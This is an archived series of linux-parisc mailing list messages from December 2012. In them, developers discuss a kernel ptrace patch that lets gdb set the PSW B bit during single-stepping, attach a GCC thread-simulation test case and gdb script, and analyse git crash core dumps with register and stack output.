	linux-parisc <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Dec 29 17:43:03 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TozV1-0004qk-AT
	for glpp-linux-parisc@plane.gmane.org; Sat, 29 Dec 2012 17:43:03 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752329Ab2L2Qms (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 29 Dec 2012 11:42:48 -0500
Original-Received: from blu0-omc4-s37.blu0.hotmail.com ([65.55.111.176]:63438 "EHLO
	blu0-omc4-s37.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752288Ab2L2Qmr (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 29 Dec 2012 11:42:47 -0500
Original-Received: from BLU0-SMTP58 ([65.55.111.136]) by blu0-omc4-s37.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 29 Dec 2012 08:42:46 -0800
X-EIP: [CsQNWpwdF80NpoPZPzr5n0XbYfNKTlOA]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.169.84]) by BLU0-SMTP58.blu0.hotmail.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 29 Dec 2012 08:42:45 -0800
In-Reply-To: <CAE2sS1ikAfRfQQkRqzXU3TLL74BjSyh_euBFcbqcZwQxEE+bqg@mail.gmail.com>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 29 Dec 2012 16:42:46.0084 (UTC) FILETIME=[87B69840:01CDE5E3]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4696
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4696>

--Apple-Mail-59-535004512
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit

On 29-Dec-12, at 8:31 AM, Carlos O'Donell wrote:

>
> On Dec 28, 2012 6:18 PM, "John David Anglin" <dave.anglin@bell.net>  
> wrote:
> >
> > Various GCC tests use gdb to simulate a multithreaded  
> application.  Many
> > of these tests have been failing on parisc linux.
> >
> > GCC does this by using gdb to single-step the application, then  
> gdb is used to
> > call other test specific code.  Where this fails is when the  
> application is stepped
> > into the delay slot of a taken branch.  This sets the PSW B bit.   
> When the test
> > specific code is executed, this usually clears the PSW B bit.   
> Currently, gdb is
> > not allowed to set the B bit.  So, the code falls through what  
> should be a taken
> > branch.
>
> How exactly does this trigger? Step into delay slot, then what, call  
> an inferior function, then resume?
>
Yes.

I have attached a test case and gdb script which show bug.

Compile testcase with something like the following:
Executing on host: /home/dave/gnu/gcc/objdir/gcc/xgcc -B/home/dave/gnu/ 
gcc/objdir/gcc/ /home/dave/gnu/gcc/gcc/gcc/testsuite/gcc.dg/simulate- 
thread/speculative-store-4.c  -fno-diagnostics-show-caret   -O0 -g  -- 
param allow-store-data-races=0  -lm   -o speculative-store-4.exe

Execute with something like:
gdb -nx -nw -x /home/dave/gnu/gcc/gcc/gcc/testsuite/gcc.dg/simulate- 
thread/simulate-thread.gdb ./speculative-store-4.exe

You can see that the gdb script executes inferior functions to  
simulate thread behavior and to determine
whether the test is done.

I debugged this by adding extra print and disp statements to the  
kernel, gdb and the gdb script.

According to the PA 2.0 arch, a non sequential iaoq queue without the  
B bit being set invokes undefined
behavior.  Possibly, this should be checked for when the return is  
setup after pt_regs_ok.  However, I
think it is ok to let gdb play with the B bit.  See the definition of  
USER_PSW_MASK in psw.h:

#define USER_PSW_MASK (WIDE_PSW | PSW_T | PSW_N | PSW_X | PSW_B |  
PSW_V | PSW_CB)

This defines the PSW bits that the user can change using exception  
support.  Probably, the two sets
should be the same.

> > The attached patch adds the PSW B bit to the set of bits that gdb  
> is allowed to
> > set.  In order to set the B bit, the trace system call must return  
> using an interrupt
> > restore.  The patch also modifies this code to use the saved IAOQ  
> values when
> > they are saved by a ptrace syscall or interruption.
> >
> > Signed-off-by: John David Anglin <dave.anglin@bell.net>
>
> What testing did you do with patch?
>
I have been running the change with 3.7.x kernels for a couple of  
weeks.  I checked that strace still works
and GCC test results for tests using gdb are now similar to the  
results on hpux.

I believe gdb still has problems regarding delay slots, PSW bits and  
inferior function calls.  This mainly shows
up in the GCC guality tests.  Of course, there are hundreds of FAILs  
in the gdb testsuite...

Dave
--
John David Anglin	dave.anglin@bell.net



--Apple-Mail-59-535004512
Content-Disposition: attachment; filename="speculative-store-4.c.txt"
Content-Type: text/plain; x-unix-mode=0644; name="speculative-store-4.c.txt"
Content-Transfer-Encoding: 7bit

/* { dg-do link } */
/* { dg-options "--param allow-store-data-races=0" } */
/* { dg-final { simulate-thread } } */

#include <stdio.h>
#include <stdlib.h>

#include "simulate-thread.h"

/* PR 54139 */
/* Test that speculative stores do not happen for --param
   allow-store-data-races=0.  */

int g_13=1, insns=1;

__attribute__((noinline))
void simulate_thread_main()
{
  int l_245;

  /* Since g_13 is unilaterally set positive above, there should be
     no store to g_13 below.  */
  for (l_245 = 0; l_245 <= 1; l_245 += 1)
    for (; g_13 <= 0; g_13 = 1)
      ;
}

int main()
{
  simulate_thread_main ();
  simulate_thread_done ();
  return 0;
}

void simulate_thread_other_threads ()
{
  ++g_13;
  ++insns;
}

int simulate_thread_step_verify ()
{
  return 0;
}

int simulate_thread_final_verify ()
{
  if (g_13 != insns)
    {
      printf("FAIL: g_13 was incorrectly cached\n");
      return 1;
    }
  return 0;
}

--Apple-Mail-59-535004512
Content-Disposition: attachment; filename="simulate-thread.gdb.txt"
Content-Type: text/plain; x-unix-mode=0644; name="simulate-thread.gdb.txt"
Content-Transfer-Encoding: 7bit

set height 0
break simulate_thread_main
# disp/i $pc
run

set $ret = 0
while (simulate_thread_fini != 1) && (! $ret)
  set $ret |= simulate_thread_wrapper_other_threads()
  stepi
  set $ret |= simulate_thread_step_verify()
end

if (! $ret)
  set $ret |= simulate_thread_wrapper_final_verify()
end
continue
quit $ret

--Apple-Mail-59-535004512--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Improve ptrace support for gdb single-step
Date: Sat, 29 Dec 2012 11:56:56 -0500
Lines: 160
Approved: news@gmane.org
Message-ID: <BLU0-SMTP4438777244D9C9D565312E973E0@phx.gbl>
References: <BLU0-SMTP34ED8A5FC4451C5BECF0F6973F0@phx.gbl> <CAE2sS1ikAfRfQQkRqzXU3TLL74BjSyh_euBFcbqcZwQxEE+bqg@mail.gmail.com> <BLU0-SMTP58FCCC37C2B6CE2B604655973E0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: multipart/mixed; boundary="Apple-Mail-1-535895008"
X-Trace: ger.gmane.org 1356800278 2580 80.91.229.3 (29 Dec 2012 16:57:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 29 Dec 2012 16:57:58 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>, jejb@parisc-linux.org,
	Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Dec 29 17:58:13 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Tozjc-0005Bu-Cj
	for glpp-linux-parisc@plane.gmane.org; Sat, 29 Dec 2012 17:58:08 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752756Ab2L2Q5u (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 29 Dec 2012 11:57:50 -0500
Original-Received: from [65.55.111.160] ([65.55.111.160]:13771 "EHLO
	blu0-omc4-s21.blu0.hotmail.com" rhost-flags-FAIL-FAIL-OK-FAIL)
	by vger.kernel.org with ESMTP id S1752589Ab2L2Q5u (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 29 Dec 2012 11:57:50 -0500
Original-Received: from BLU0-SMTP44 ([65.55.111.136]) by blu0-omc4-s21.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 29 Dec 2012 08:57:29 -0800
X-EIP: [eXXIv6Y88KdnTdbswZs3hng5iTRvqfl4]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.169.84]) by BLU0-SMTP44.blu0.hotmail.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 29 Dec 2012 08:57:28 -0800
In-Reply-To: <BLU0-SMTP58FCCC37C2B6CE2B604655973E0@phx.gbl>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 29 Dec 2012 16:57:28.0768 (UTC) FILETIME=[95D57C00:01CDE5E5]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4697
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4697>

--Apple-Mail-1-535895008
Content-Type: text/plain; charset="US-ASCII"; format=flowed
Content-Transfer-Encoding: 7bit

On 29-Dec-12, at 11:42 AM, John David Anglin wrote:

> I have attached a test case and gdb script which show bug.


Forgot .h file.

Dave
--
John David Anglin	dave.anglin@bell.net



--Apple-Mail-1-535895008
Content-Disposition: attachment; filename="simulate-thread.h.txt"
Content-Type: text/plain; x-unix-mode=0644; name="simulate-thread.h.txt"
Content-Transfer-Encoding: 7bit

int simulate_thread_fini = 0;

void __attribute__((noinline))
simulate_thread_done ()
{
  simulate_thread_fini = 1;
}

/* A hostile thread is one which changes a memory location so quickly
   that another thread may never see the same value again.  This is
   simulated when simulate_thread_other_thread() is defined to modify
   a memory location every cycle.

   A process implementing a dependency on this value can run into
   difficulties with such a hostile thread.  For instance,
   implementing an add with a compare_and_swap loop goes something
   like:

     expected = *mem;
   loop:
     new = expected += value;
     if (!succeed (expected = compare_and_swap (mem, expected, new)))
       goto loop;

   If the content of 'mem' are changed every cycle by
   simulate_thread_other_thread () this will become an infinite loop
   since the value *mem will never be 'expected' by the time the
   compare_and_swap is executed.

   HOSTILE_THREAD_THRESHOLD defines the number of intructions which a
   program will execute before triggering the hostile thread
   pause. The pause will last for HOSTILE_THREAD_PAUSE instructions,
   and then the counter will reset and begin again.  During the pause
   period, simulate_thread_other_thread will not be called.

   This provides a chance for forward progress to be made and the
   infinite loop to be avoided.

   If the testcase defines HOSTILE_PAUSE_ERROR, then it will be
   considered a RUNTIME FAILURE if the hostile pause is triggered.
   This will allow to test for guaranteed forward progress routines.

   If the default values for HOSTILE_THREAD_THRESHOLD or
   HOSTILE_THREAD_PAUSE are insufficient, then the testcase may
   override these by defining the values before including this file.

   Most testcase are intended to run for very short periods of time,
   so these defaults are considered to be high enough to not trigger
   on a typical case, but not drag the test time out too much if a
   hostile condition is interferring.  */

  
/* Define the threshold instruction count to start pausing the hostile 
   thread.  To avoid huge potential log files when things are not going well,
   set this number very low.  If a test specifically requires that the forward
   progress guarantee is made, this number should be raised by the testcase. */
#if !defined (HOSTILE_THREAD_THRESHOLD)
#define HOSTILE_THREAD_THRESHOLD 	50
#endif

/* Define the length of pause in cycles for the hostile thread to pause to
   allow forward progress to be made.  If this number is too low, a 
   compare_and_swap loop may not have time to finish, especially on a
   128 bit operation. */
#if !defined (HOSTILE_THREAD_PAUSE)
#define HOSTILE_THREAD_PAUSE	20
#endif

/* Define the number of instructions which are allowed to be executed before
   the testcase is deemed to fail.  This is primarily to avoid huge log files
   when a testcase goes into an infinte loop.  */
#if !defined (INSN_COUNT_THRESHOLD)
#define INSN_COUNT_THRESHOLD	10000
#endif

void simulate_thread_other_threads (void);
int simulate_thread_final_verify (void);

static int simulate_thread_hostile_pause = 0;

/* This function wraps simulate_thread_other_threads an monitors for
   an infinite loop.  If the threshold value HOSTILE_THREAD_THRESHOLD
   is reached, the other_thread process is paused for
   HOSTILE_THREAD_PAUSE cycles before resuming, and the counters start
   again.  */
int
simulate_thread_wrapper_other_threads()
{
  static int insn_count = 0;
  static int hostile_count = 0;
  static int hostile_pause = 0;

  if (++insn_count >= INSN_COUNT_THRESHOLD)
    {
      printf ("FAIL: Testcase exceeded maximum instruction count threshold\n");
      return 1;
    }

  if (++hostile_count >= HOSTILE_THREAD_THRESHOLD)
    {
      if (!simulate_thread_hostile_pause)
        simulate_thread_hostile_pause = 1;

      /* Count cycles before calling the hostile thread again.  */
      if (hostile_pause++ < HOSTILE_THREAD_PAUSE)
	return 0;

      /* Reset the pause counter, as well as the thread counter.  */
      hostile_pause = 0;
      hostile_count = 0;
    }
  simulate_thread_other_threads ();
  return 0;
}


/* If the test case defines HOSTILE_PAUSE_ERROR, then the test case
   will fail execution if it had a hostile pause.  */
int
simulate_thread_wrapper_final_verify ()
{
  int ret = simulate_thread_final_verify ();
#if defined (HOSTILE_PAUSE_ERROR)
  if (simulate_thread_hostile_pause)
    {
      printf ("FAIL: Forward progress made only by pausing hostile thread\n");
      ret = ret | 1;    /* 0 indicates proper comnpletion.  */
    }
#endif
  return ret;
}

--Apple-Mail-1-535895008--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Random crashes when calling git
Date: Mon, 31 Dec 2012 09:40:13 +0100
Lines: 49
Approved: news@gmane.org
Message-ID: <6855600.9cJrOJmniu@donald.sf-tec.de>
References: <4882058.deuBGYmI4J@donald.sf-tec.de> <BLU0-SMTP552A5EEA5FEF5F4C363ADC97380@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart1362014.U42pYrcvE3"; micalg="pgp-sha1"; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7Bit
X-Trace: ger.gmane.org 1356943231 4754 80.91.229.3 (31 Dec 2012 08:40:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 31 Dec 2012 08:40:31 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 31 09:40:47 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TpavI-0002iY-0m
	for glpp-linux-parisc@plane.gmane.org; Mon, 31 Dec 2012 09:40:40 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751116Ab2LaIkY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 31 Dec 2012 03:40:24 -0500
Original-Received: from mail.sf-mail.de ([62.27.20.61]:37884 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751032Ab2LaIkY (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 31 Dec 2012 03:40:24 -0500
Original-Received: (qmail 24611 invoked from network); 31 Dec 2012 08:40:19 -0000
Original-Received: from p4fc9f49f.dip.t-dialin.net ([::ffff:79.201.244.159]:51248 HELO donald.sf-tec.de) (auth=eike-kernel@sf-tec.de)
	by mail.sf-mail.de (Qsmtpd 0.23svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Mon, 31 Dec 2012 09:40:19 +0100
User-Agent: KMail/4.9.3 (Linux/3.6.10-15-desktop; KDE/4.9.4; i686; ; )
In-Reply-To: <BLU0-SMTP552A5EEA5FEF5F4C363ADC97380@phx.gbl>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4698
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4698>


--nextPart1362014.U42pYrcvE3
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="US-ASCII"

John David Anglin wrote:
> On 27-Dec-12, at 4:42 AM, Rolf Eike Beer wrote:
> > Any ideas?
> 
> Try running the test under gdb.  Git has branched to location 0 causing
> a page fault.  We need a backtrace(s) to learn something useful.  There
> may be multiple backtraces (info thread).

I have not managed to reproduce this this way.

> Enable core dumps if not enabled.  Might find something useful by
> examining it (gdb -c core /usr/bin/git).
> 
> Git uses threads.  I expect the problem is thread related since it
> doesn't
> happen all the time, and for that reason it might not be reproducible
> running under gdb..
> 
> You might try building git and running its testsuite.  I remember that
> some thread related tests used to fail for me.  I think it may be
> possible to build git without pthread support.

I got 2 failures in 5400, 1 in 5406 and one in 5500 so far (in 4 runs).

Eike
--nextPart1362014.U42pYrcvE3
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.18 (GNU/Linux)

iEYEABECAAYFAlDhT3IACgkQXKSJPmm5/E6q4wCfTopcd4E4r1ytSnmOpcRULCWu
wDcAni0rL7/oJMKEd7TPoOBpYDXBnyk+
=Otz4
-----END PGP SIGNATURE-----

--nextPart1362014.U42pYrcvE3--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Random crashes when calling git
Date: Mon, 31 Dec 2012 12:03:39 +0100
Lines: 52
Approved: news@gmane.org
Message-ID: <3563905.2dklDXemHT@donald.sf-tec.de>
References: <4882058.deuBGYmI4J@donald.sf-tec.de> <BLU0-SMTP552A5EEA5FEF5F4C363ADC97380@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart8430624.8yQiEDCF4J"; micalg="pgp-sha1"; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7Bit
X-Trace: ger.gmane.org 1356951827 4923 80.91.229.3 (31 Dec 2012 11:03:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 31 Dec 2012 11:03:47 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 31 12:04:03 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TpdA0-0004N2-2G
	for glpp-linux-parisc@plane.gmane.org; Mon, 31 Dec 2012 12:04:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751179Ab2LaLDp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 31 Dec 2012 06:03:45 -0500
Original-Received: from mail.sf-mail.de ([62.27.20.61]:41308 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751116Ab2LaLDo (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 31 Dec 2012 06:03:44 -0500
Original-Received: (qmail 17161 invoked from network); 31 Dec 2012 11:03:42 -0000
Original-Received: from p4fc9f49f.dip.t-dialin.net ([::ffff:79.201.244.159]:51889 HELO donald.sf-tec.de) (auth=eike-kernel@sf-tec.de)
	by mail.sf-mail.de (Qsmtpd 0.23svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Mon, 31 Dec 2012 12:03:42 +0100
User-Agent: KMail/4.9.3 (Linux/3.6.10-15-desktop; KDE/4.9.4; i686; ; )
In-Reply-To: <BLU0-SMTP552A5EEA5FEF5F4C363ADC97380@phx.gbl>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4699
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4699>


--nextPart8430624.8yQiEDCF4J
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="US-ASCII"

John David Anglin wrote:
> On 27-Dec-12, at 4:42 AM, Rolf Eike Beer wrote:
> > Any ideas?
> 
> Try running the test under gdb.  Git has branched to location 0 causing
> a page fault.  We need a backtrace(s) to learn something useful.  There
> may be multiple backtraces (info thread).

This did not lead anywhere. I tried running the test only with strace, but 
even that did not lead to any crash.

> Enable core dumps if not enabled.  Might find something useful by
> examining it (gdb -c core /usr/bin/git).
> 
> Git uses threads.  I expect the problem is thread related since it
> doesn't
> happen all the time, and for that reason it might not be reproducible
> running under gdb..

I've put together the used git executable as well as 4 core dumps at 
http://opensource.sf-tec.de/git-crash.tar.bz2

It would be nice if you could take a look and tell me if this gives you 
anything.

Greetings,

Eike
--nextPart8430624.8yQiEDCF4J
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.18 (GNU/Linux)

iEYEABECAAYFAlDhcRIACgkQXKSJPmm5/E58zwCeLOHa641b/E55aSraF9O7oyxs
rqQAnj6yZUr1sxzB9KPKUwsckMRjBkMf
=XtD0
-----END PGP SIGNATURE-----

--nextPart8430624.8yQiEDCF4J--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Random crashes when calling git
Date: Mon, 31 Dec 2012 14:19:51 -0500
Lines: 1597
Approved: news@gmane.org
Message-ID: <BLU0-SMTP22C3BF8F11ED2FBDDA8BE6973C0@phx.gbl>
References: <4882058.deuBGYmI4J@donald.sf-tec.de> <BLU0-SMTP552A5EEA5FEF5F4C363ADC97380@phx.gbl> <3563905.2dklDXemHT@donald.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: multipart/mixed; boundary="Apple-Mail-5-717269555"
X-Trace: ger.gmane.org 1356981637 18500 80.91.229.3 (31 Dec 2012 19:20:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 31 Dec 2012 19:20:37 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 31 20:20:53 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Tpkuo-0000m3-C6
	for glpp-linux-parisc@plane.gmane.org; Mon, 31 Dec 2012 20:20:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751649Ab2LaTUd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 31 Dec 2012 14:20:33 -0500
Original-Received: from blu0-omc3-s32.blu0.hotmail.com ([65.55.116.107]:11240 "EHLO
	blu0-omc3-s32.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751637Ab2LaTUc (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 31 Dec 2012 14:20:32 -0500
Original-Received: from BLU0-SMTP22 ([65.55.116.72]) by blu0-omc3-s32.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 31 Dec 2012 11:20:31 -0800
X-EIP: [h/vVAj42e8vwAIp3PucLWS4uYXr0M8u3]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.169.84]) by BLU0-SMTP22.blu0.hotmail.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 31 Dec 2012 11:20:30 -0800
In-Reply-To: <3563905.2dklDXemHT@donald.sf-tec.de>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 31 Dec 2012 19:20:30.0596 (UTC) FILETIME=[E5D40440:01CDE78B]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4700
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4700>

--Apple-Mail-5-717269555
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit

On 31-Dec-12, at 6:03 AM, Rolf Eike Beer wrote:

> I've put together the used git executable as well as 4 core dumps at
> http://opensource.sf-tec.de/git-crash.tar.bz2
>
> It would be nice if you could take a look and tell me if this gives  
> you
> anything.

I looked at the first one:

(gdb) p/x $pc
$1 = 0x0
(gdb) info threads
   Id   Target Id         Frame
   2    LWP 28212         0x000e054c in receive_status (in=1077339896,
     refs=0x19e578) at send-pack.c:163
* 1    LWP 28214         0x00000000 in ?? ()
(gdb) info reg
flags          0x4000f	262159
r1             0x40fe7b40	1090419520
rp             0x0	0
r3             0x7	7
r4             0x4036e6f8	1077339896
r5             0x417e7480	1098806400
r6             0x0	0
r7             0x40fe8000	1090420736
r8             0xfb	251
r9             0x4036b624	1077327396
r10            0x403709a4	1077348772
r11            0x0	0
r12            0x402ffc60	1076886624
r13            0xfffff000	4294963200
r14            0x800000	8388608
r15            0x14fcb2	1375410
r16            0xfb03d9d4	4211333588
r17            0xfb03d9e4	4211333604
r18            0x40fe8000	1090420736
r19            0x0	0
r20            0x3	3
r21            0x54	84
r22            0x49	73
---Type <return> to continue, or q <return> to quit---
r23            0x0	0
r24            0xe	14
r25            0x136bb2	1272754
r26            0x0	0
dp             0x14b0fc	1356028
ret0           0x0	0
ret1           0x2	2
sp             0x40fe8280	1090421376
r31            0xfefefeff	4278124287
sar            0x1d	29
pcoqh          0x3	3
pcsqh          0x2e	46
pcoqt          0x7	7
pcsqt          0x2e	46
eiem           0xfe000000	4261412864
iir            0x43ffff80	1140850560
isr            0x2e	46
ior            0x417e7504	1098806532
ipsw           0x4fe0f	327183
goto           *value not available*
sr4            0x2e	46
sr0            0x2e	46
sr1            0x0	0
(gdb) p/x $sp
$3 = 0x40fe8280
(gdb) x/64x $sp-64
0x40fe8240:	0x00000000	0x00000000	0x00000000	0x00000000
0x40fe8250:	0x00000000	0x00000000	0x00000000	0x00000000
0x40fe8260:	0x00000000	0x00000000	0x00000000	0x00000000
0x40fe8270:	0x00000000	0x00000000	0x00000000	0x00000000
0x40fe8280:	0x00000000	0x00000000	0x00000000	0x00000000
0x40fe8290:	0x00007265	0x6d6f7465	0x3a013030	0x3065756e
0x40fe82a0:	0x7061636b	0x206f6b0a	0x30303139	0x6f6b2072
0x40fe82b0:	0x6566732f	0x68656164	0x732f6d61	0x73746572
0x40fe82c0:	0x0a303030	0x30000000	0x00000000	0x00000000
0x40fe82d0:	0x00000000	0x00000000	0x00000000	0x00000000
0x40fe82e0:	0x00000000	0x00000000	0x00000000	0x00000000
0x40fe82f0:	0x00000000	0x00000000	0x00000000	0x00000000
0x40fe8300:	0x00000000	0x00000000	0x00000000	0x00000000
0x40fe8310:	0x00000000	0x00000000	0x00000000	0x00000000
0x40fe8320:	0x00000000	0x00000000	0x00000000	0x00000000
0x40fe8330:	0x00000000	0x00000000	0x00000000	0x00000000

I think this is the infamous thread stack corruption bug.  There are
numerous discussions about it on the list.

It's just a guess but I believe my kernel patch may help.  Attaching  
latest
version for 3.7.1.

